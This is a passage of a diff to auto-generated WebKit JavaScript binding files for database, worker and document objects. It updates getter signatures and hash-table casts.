+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 private:
     static bool canGetItemsForName(JSC::ExecState*, DataGridColumnList*, const JSC::Identifier&);
-    static JSC::JSValue nameGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue nameGetter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 };
 
 JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, DataGridColumnList*);
@@ -76,7 +75,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDataGridColumnListPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -92,10 +91,10 @@ JSC::JSValue JSC_HOST_CALL jsDataGridColumnListPrototypeFunctionMove(JSC::ExecSt
 JSC::JSValue JSC_HOST_CALL jsDataGridColumnListPrototypeFunctionClear(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDataGridColumnListLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnListSortColumn(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnListPrimaryColumn(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnListLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnListSortColumn(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnListPrimaryColumn(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDatabase.cpp b/src/3rdparty/webkit/WebCore/generated/JSDatabase.cpp
index c5ac44d..9aef24e 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDatabase.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDatabase.cpp
@@ -40,7 +40,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSDatabase);
 
 static const HashTableValue JSDatabaseTableValues[2] =
 {
-    { "version", DontDelete|ReadOnly, (intptr_t)jsDatabaseVersion, (intptr_t)0 },
+    { "version", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDatabaseVersion), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -55,9 +55,9 @@ static JSC_CONST_HASHTABLE HashTable JSDatabaseTable =
 
 static const HashTableValue JSDatabasePrototypeTableValues[4] =
 {
-    { "changeVersion", DontDelete|Function, (intptr_t)jsDatabasePrototypeFunctionChangeVersion, (intptr_t)5 },
-    { "transaction", DontDelete|Function, (intptr_t)jsDatabasePrototypeFunctionTransaction, (intptr_t)3 },
-    { "readTransaction", DontDelete|Function, (intptr_t)jsDatabasePrototypeFunctionReadTransaction, (intptr_t)3 },
+    { "changeVersion", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDatabasePrototypeFunctionChangeVersion), (intptr_t)5 },
+    { "transaction", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDatabasePrototypeFunctionTransaction), (intptr_t)3 },
+    { "readTransaction", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDatabasePrototypeFunctionReadTransaction), (intptr_t)3 },
     { 0, 0, 0, 0 }
 };
 
@@ -113,12 +113,13 @@ bool JSDatabase::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pro
     return getStaticValueDescriptor<JSDatabase, Base>(exec, &JSDatabaseTable, this, propertyName, descriptor);
 }
 
-JSValue jsDatabaseVersion(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDatabaseVersion(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDatabase* castedThis = static_cast<JSDatabase*>(asObject(slot.slotBase()));
+    JSDatabase* castedThis = static_cast<JSDatabase*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Database* imp = static_cast<Database*>(castedThis->impl());
-    return jsString(exec, imp->version());
+    JSValue result = jsString(exec, imp->version());
+    return result;
 }
 
 JSValue JSC_HOST_CALL jsDatabasePrototypeFunctionChangeVersion(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDatabase.h b/src/3rdparty/webkit/WebCore/generated/JSDatabase.h
index 0353427..76563e3 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDatabase.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDatabase.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(DATABASE)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -45,7 +44,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
 
@@ -74,7 +73,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDatabasePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -88,7 +87,7 @@ JSC::JSValue JSC_HOST_CALL jsDatabasePrototypeFunctionTransaction(JSC::ExecState
 JSC::JSValue JSC_HOST_CALL jsDatabasePrototypeFunctionReadTransaction(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDatabaseVersion(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDatabaseVersion(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.cpp b/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.cpp
index 3fbc67c..f290b35 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.cpp
@@ -40,7 +40,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSDedicatedWorkerContext);
 
 static const HashTableValue JSDedicatedWorkerContextTableValues[2] =
 {
-    { "onmessage", DontDelete, (intptr_t)jsDedicatedWorkerContextOnmessage, (intptr_t)setJSDedicatedWorkerContextOnmessage },
+    { "onmessage", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDedicatedWorkerContextOnmessage), (intptr_t)setJSDedicatedWorkerContextOnmessage },
     { 0, 0, 0, 0 }
 };
 
@@ -55,7 +55,7 @@ static JSC_CONST_HASHTABLE HashTable JSDedicatedWorkerContextTable =
 
 static const HashTableValue JSDedicatedWorkerContextPrototypeTableValues[2] =
 {
-    { "postMessage", DontDelete|Function, (intptr_t)jsDedicatedWorkerContextPrototypeFunctionPostMessage, (intptr_t)2 },
+    { "postMessage", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDedicatedWorkerContextPrototypeFunctionPostMessage), (intptr_t)2 },
     { 0, 0, 0, 0 }
 };
 
@@ -108,14 +108,16 @@ bool JSDedicatedWorkerContext::getOwnPropertyDescriptor(ExecState* exec, const I
     return getStaticValueDescriptor<JSDedicatedWorkerContext, Base>(exec, getJSDedicatedWorkerContextTable(exec), this, propertyName, descriptor);
 }
 
-JSValue jsDedicatedWorkerContextOnmessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDedicatedWorkerContextOnmessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDedicatedWorkerContext* castedThis = static_cast<JSDedicatedWorkerContext*>(asObject(slot.slotBase()));
+    JSDedicatedWorkerContext* castedThis = static_cast<JSDedicatedWorkerContext*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DedicatedWorkerContext* imp = static_cast<DedicatedWorkerContext*>(castedThis->impl());
     if (EventListener* listener = imp->onmessage()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
@@ -129,8 +131,7 @@ void setJSDedicatedWorkerContextOnmessage(ExecState* exec, JSObject* thisObject,
 {
     UNUSED_PARAM(exec);
     DedicatedWorkerContext* imp = static_cast<DedicatedWorkerContext*>(static_cast<JSDedicatedWorkerContext*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDedicatedWorkerContext*>(thisObject);
-    imp->setOnmessage(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmessage(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 JSValue JSC_HOST_CALL jsDedicatedWorkerContextPrototypeFunctionPostMessage(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.h b/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.h
index 2e65842..a7ee45f 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDedicatedWorkerContext.h
@@ -42,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
 
@@ -68,7 +68,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDedicatedWorkerContextPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,7 +80,7 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsDedicatedWorkerContextPrototypeFunctionPostMessage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDedicatedWorkerContextOnmessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDedicatedWorkerContextOnmessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDedicatedWorkerContextOnmessage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocument.cpp b/src/3rdparty/webkit/WebCore/generated/JSDocument.cpp
index 1fb3b46..a1821a2 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocument.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocument.cpp
@@ -36,7 +36,6 @@
 #include "EntityReference.h"
 #include "Event.h"
 #include "EventListener.h"
-#include "Frame.h"
 #include "HTMLCollection.h"
 #include "HTMLElement.h"
 #include "HTMLHeadElement.h"
@@ -46,7 +45,6 @@
 #include "JSCanvasRenderingContext2D.h"
 #include "JSComment.h"
 #include "JSCustomXPathNSResolver.h"
-#include "JSDOMGlobalObject.h"
 #include "JSDOMImplementation.h"
 #include "JSDOMSelection.h"
 #include "JSDOMWindow.h"
@@ -98,86 +96,98 @@ ASSERT_CLASS_FITS_IN_CELL(JSDocument);
 
 /* Hash table */
 
-static const HashTableValue JSDocumentTableValues[71] =
-{
-    { "doctype", DontDelete|ReadOnly, (intptr_t)jsDocumentDoctype, (intptr_t)0 },
-    { "implementation", DontDelete|ReadOnly, (intptr_t)jsDocumentImplementation, (intptr_t)0 },
-    { "documentElement", DontDelete|ReadOnly, (intptr_t)jsDocumentDocumentElement, (intptr_t)0 },
-    { "inputEncoding", DontDelete|ReadOnly, (intptr_t)jsDocumentInputEncoding, (intptr_t)0 },
-    { "xmlEncoding", DontDelete|ReadOnly, (intptr_t)jsDocumentXMLEncoding, (intptr_t)0 },
-    { "xmlVersion", DontDelete, (intptr_t)jsDocumentXMLVersion, (intptr_t)setJSDocumentXMLVersion },
-    { "xmlStandalone", DontDelete, (intptr_t)jsDocumentXMLStandalone, (intptr_t)setJSDocumentXMLStandalone },
-    { "documentURI", DontDelete, (intptr_t)jsDocumentDocumentURI, (intptr_t)setJSDocumentDocumentURI },
-    { "defaultView", DontDelete|ReadOnly, (intptr_t)jsDocumentDefaultView, (intptr_t)0 },
-    { "styleSheets", DontDelete|ReadOnly, (intptr_t)jsDocumentStyleSheets, (intptr_t)0 },
-    { "title", DontDelete, (intptr_t)jsDocumentTitle, (intptr_t)setJSDocumentTitle },
-    { "referrer", DontDelete|ReadOnly, (intptr_t)jsDocumentReferrer, (intptr_t)0 },
-    { "domain", DontDelete, (intptr_t)jsDocumentDomain, (intptr_t)setJSDocumentDomain },
-    { "URL", DontDelete|ReadOnly, (intptr_t)jsDocumentURL, (intptr_t)0 },
-    { "cookie", DontDelete, (intptr_t)jsDocumentCookie, (intptr_t)setJSDocumentCookie },
-    { "body", DontDelete, (intptr_t)jsDocumentBody, (intptr_t)setJSDocumentBody },
-    { "head", DontDelete|ReadOnly, (intptr_t)jsDocumentHead, (intptr_t)0 },
-    { "images", DontDelete|ReadOnly, (intptr_t)jsDocumentImages, (intptr_t)0 },
-    { "applets", DontDelete|ReadOnly, (intptr_t)jsDocumentApplets, (intptr_t)0 },
-    { "links", DontDelete|ReadOnly, (intptr_t)jsDocumentLinks, (intptr_t)0 },
-    { "forms", DontDelete|ReadOnly, (intptr_t)jsDocumentForms, (intptr_t)0 },
-    { "anchors", DontDelete|ReadOnly, (intptr_t)jsDocumentAnchors, (intptr_t)0 },
-    { "lastModified", DontDelete|ReadOnly, (intptr_t)jsDocumentLastModified, (intptr_t)0 },
-    { "location", DontDelete, (intptr_t)jsDocumentLocation, (intptr_t)setJSDocumentLocation },
-    { "charset", DontDelete, (intptr_t)jsDocumentCharset, (intptr_t)setJSDocumentCharset },
-    { "defaultCharset", DontDelete|ReadOnly, (intptr_t)jsDocumentDefaultCharset, (intptr_t)0 },
-    { "readyState", DontDelete|ReadOnly, (intptr_t)jsDocumentReadyState, (intptr_t)0 },
-    { "characterSet", DontDelete|ReadOnly, (intptr_t)jsDocumentCharacterSet, (intptr_t)0 },
-    { "preferredStylesheetSet", DontDelete|ReadOnly, (intptr_t)jsDocumentPreferredStylesheetSet, (intptr_t)0 },
-    { "selectedStylesheetSet", DontDelete, (intptr_t)jsDocumentSelectedStylesheetSet, (intptr_t)setJSDocumentSelectedStylesheetSet },
-    { "onabort", DontDelete|DontEnum, (intptr_t)jsDocumentOnabort, (intptr_t)setJSDocumentOnabort },
-    { "onblur", DontDelete|DontEnum, (intptr_t)jsDocumentOnblur, (intptr_t)setJSDocumentOnblur },
-    { "onchange", DontDelete|DontEnum, (intptr_t)jsDocumentOnchange, (intptr_t)setJSDocumentOnchange },
-    { "onclick", DontDelete|DontEnum, (intptr_t)jsDocumentOnclick, (intptr_t)setJSDocumentOnclick },
-    { "oncontextmenu", DontDelete|DontEnum, (intptr_t)jsDocumentOncontextmenu, (intptr_t)setJSDocumentOncontextmenu },
-    { "ondblclick", DontDelete|DontEnum, (intptr_t)jsDocumentOndblclick, (intptr_t)setJSDocumentOndblclick },
-    { "ondrag", DontDelete|DontEnum, (intptr_t)jsDocumentOndrag, (intptr_t)setJSDocumentOndrag },
-    { "ondragend", DontDelete|DontEnum, (intptr_t)jsDocumentOndragend, (intptr_t)setJSDocumentOndragend },
-    { "ondragenter", DontDelete|DontEnum, (intptr_t)jsDocumentOndragenter, (intptr_t)setJSDocumentOndragenter },
-    { "ondragleave", DontDelete|DontEnum, (intptr_t)jsDocumentOndragleave, (intptr_t)setJSDocumentOndragleave },
-    { "ondragover", DontDelete|DontEnum, (intptr_t)jsDocumentOndragover, (intptr_t)setJSDocumentOndragover },
-    { "ondragstart", DontDelete|DontEnum, (intptr_t)jsDocumentOndragstart, (intptr_t)setJSDocumentOndragstart },
-    { "ondrop", DontDelete|DontEnum, (intptr_t)jsDocumentOndrop, (intptr_t)setJSDocumentOndrop },
-    { "onerror", DontDelete|DontEnum, (intptr_t)jsDocumentOnerror, (intptr_t)setJSDocumentOnerror },
-    { "onfocus", DontDelete|DontEnum, (intptr_t)jsDocumentOnfocus, (intptr_t)setJSDocumentOnfocus },
-    { "oninput", DontDelete|DontEnum, (intptr_t)jsDocumentOninput, (intptr_t)setJSDocumentOninput },
-    { "oninvalid", DontDelete|DontEnum, (intptr_t)jsDocumentOninvalid, (intptr_t)setJSDocumentOninvalid },
-    { "onkeydown", DontDelete|DontEnum, (intptr_t)jsDocumentOnkeydown, (intptr_t)setJSDocumentOnkeydown },
-    { "onkeypress", DontDelete|DontEnum, (intptr_t)jsDocumentOnkeypress, (intptr_t)setJSDocumentOnkeypress },
-    { "onkeyup", DontDelete|DontEnum, (intptr_t)jsDocumentOnkeyup, (intptr_t)setJSDocumentOnkeyup },
-    { "onload", DontDelete|DontEnum, (intptr_t)jsDocumentOnload, (intptr_t)setJSDocumentOnload },
-    { "onmousedown", DontDelete|DontEnum, (intptr_t)jsDocumentOnmousedown, (intptr_t)setJSDocumentOnmousedown },
-    { "onmousemove", DontDelete|DontEnum, (intptr_t)jsDocumentOnmousemove, (intptr_t)setJSDocumentOnmousemove },
-    { "onmouseout", DontDelete|DontEnum, (intptr_t)jsDocumentOnmouseout, (intptr_t)setJSDocumentOnmouseout },
-    { "onmouseover", DontDelete|DontEnum, (intptr_t)jsDocumentOnmouseover, (intptr_t)setJSDocumentOnmouseover },
-    { "onmouseup", DontDelete|DontEnum, (intptr_t)jsDocumentOnmouseup, (intptr_t)setJSDocumentOnmouseup },
-    { "onmousewheel", DontDelete|DontEnum, (intptr_t)jsDocumentOnmousewheel, (intptr_t)setJSDocumentOnmousewheel },
-    { "onscroll", DontDelete|DontEnum, (intptr_t)jsDocumentOnscroll, (intptr_t)setJSDocumentOnscroll },
-    { "onselect", DontDelete|DontEnum, (intptr_t)jsDocumentOnselect, (intptr_t)setJSDocumentOnselect },
-    { "onsubmit", DontDelete|DontEnum, (intptr_t)jsDocumentOnsubmit, (intptr_t)setJSDocumentOnsubmit },
-    { "onbeforecut", DontDelete|DontEnum, (intptr_t)jsDocumentOnbeforecut, (intptr_t)setJSDocumentOnbeforecut },
-    { "oncut", DontDelete|DontEnum, (intptr_t)jsDocumentOncut, (intptr_t)setJSDocumentOncut },
-    { "onbeforecopy", DontDelete|DontEnum, (intptr_t)jsDocumentOnbeforecopy, (intptr_t)setJSDocumentOnbeforecopy },
-    { "oncopy", DontDelete|DontEnum, (intptr_t)jsDocumentOncopy, (intptr_t)setJSDocumentOncopy },
-    { "onbeforepaste", DontDelete|DontEnum, (intptr_t)jsDocumentOnbeforepaste, (intptr_t)setJSDocumentOnbeforepaste },
-    { "onpaste", DontDelete|DontEnum, (intptr_t)jsDocumentOnpaste, (intptr_t)setJSDocumentOnpaste },
-    { "onreset", DontDelete|DontEnum, (intptr_t)jsDocumentOnreset, (intptr_t)setJSDocumentOnreset },
-    { "onsearch", DontDelete|DontEnum, (intptr_t)jsDocumentOnsearch, (intptr_t)setJSDocumentOnsearch },
-    { "onselectstart", DontDelete|DontEnum, (intptr_t)jsDocumentOnselectstart, (intptr_t)setJSDocumentOnselectstart },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDocumentConstructor, (intptr_t)0 },
+static const HashTableValue JSDocumentTableValues[75] =
+{
+    { "doctype", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDoctype), (intptr_t)0 },
+    { "implementation", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentImplementation), (intptr_t)0 },
+    { "documentElement", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDocumentElement), (intptr_t)0 },
+    { "inputEncoding", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentInputEncoding), (intptr_t)0 },
+    { "xmlEncoding", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentXMLEncoding), (intptr_t)0 },
+    { "xmlVersion", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentXMLVersion), (intptr_t)setJSDocumentXMLVersion },
+    { "xmlStandalone", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentXMLStandalone), (intptr_t)setJSDocumentXMLStandalone },
+    { "documentURI", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDocumentURI), (intptr_t)setJSDocumentDocumentURI },
+    { "defaultView", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDefaultView), (intptr_t)0 },
+    { "styleSheets", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentStyleSheets), (intptr_t)0 },
+    { "title", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentTitle), (intptr_t)setJSDocumentTitle },
+    { "referrer", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentReferrer), (intptr_t)0 },
+    { "domain", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDomain), (intptr_t)setJSDocumentDomain },
+    { "URL", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentURL), (intptr_t)0 },
+    { "cookie", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentCookie), (intptr_t)setJSDocumentCookie },
+    { "body", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentBody), (intptr_t)setJSDocumentBody },
+    { "head", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentHead), (intptr_t)0 },
+    { "images", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentImages), (intptr_t)0 },
+    { "applets", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentApplets), (intptr_t)0 },
+    { "links", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentLinks), (intptr_t)0 },
+    { "forms", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentForms), (intptr_t)0 },
+    { "anchors", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentAnchors), (intptr_t)0 },
+    { "lastModified", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentLastModified), (intptr_t)0 },
+    { "location", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentLocation), (intptr_t)setJSDocumentLocation },
+    { "charset", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentCharset), (intptr_t)setJSDocumentCharset },
+    { "defaultCharset", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentDefaultCharset), (intptr_t)0 },
+    { "readyState", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentReadyState), (intptr_t)0 },
+    { "characterSet", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentCharacterSet), (intptr_t)0 },
+    { "preferredStylesheetSet", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentPreferredStylesheetSet), (intptr_t)0 },
+    { "selectedStylesheetSet", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentSelectedStylesheetSet), (intptr_t)setJSDocumentSelectedStylesheetSet },
+    { "onabort", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnabort), (intptr_t)setJSDocumentOnabort },
+    { "onblur", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnblur), (intptr_t)setJSDocumentOnblur },
+    { "onchange", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnchange), (intptr_t)setJSDocumentOnchange },
+    { "onclick", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnclick), (intptr_t)setJSDocumentOnclick },
+    { "oncontextmenu", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOncontextmenu), (intptr_t)setJSDocumentOncontextmenu },
+    { "ondblclick", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndblclick), (intptr_t)setJSDocumentOndblclick },
+    { "ondrag", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndrag), (intptr_t)setJSDocumentOndrag },
+    { "ondragend", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndragend), (intptr_t)setJSDocumentOndragend },
+    { "ondragenter", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndragenter), (intptr_t)setJSDocumentOndragenter },
+    { "ondragleave", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndragleave), (intptr_t)setJSDocumentOndragleave },
+    { "ondragover", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndragover), (intptr_t)setJSDocumentOndragover },
+    { "ondragstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndragstart), (intptr_t)setJSDocumentOndragstart },
+    { "ondrop", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOndrop), (intptr_t)setJSDocumentOndrop },
+    { "onerror", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnerror), (intptr_t)setJSDocumentOnerror },
+    { "onfocus", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnfocus), (intptr_t)setJSDocumentOnfocus },
+    { "oninput", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOninput), (intptr_t)setJSDocumentOninput },
+    { "oninvalid", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOninvalid), (intptr_t)setJSDocumentOninvalid },
+    { "onkeydown", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnkeydown), (intptr_t)setJSDocumentOnkeydown },
+    { "onkeypress", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnkeypress), (intptr_t)setJSDocumentOnkeypress },
+    { "onkeyup", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnkeyup), (intptr_t)setJSDocumentOnkeyup },
+    { "onload", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnload), (intptr_t)setJSDocumentOnload },
+    { "onmousedown", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmousedown), (intptr_t)setJSDocumentOnmousedown },
+    { "onmousemove", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmousemove), (intptr_t)setJSDocumentOnmousemove },
+    { "onmouseout", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmouseout), (intptr_t)setJSDocumentOnmouseout },
+    { "onmouseover", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmouseover), (intptr_t)setJSDocumentOnmouseover },
+    { "onmouseup", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmouseup), (intptr_t)setJSDocumentOnmouseup },
+    { "onmousewheel", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnmousewheel), (intptr_t)setJSDocumentOnmousewheel },
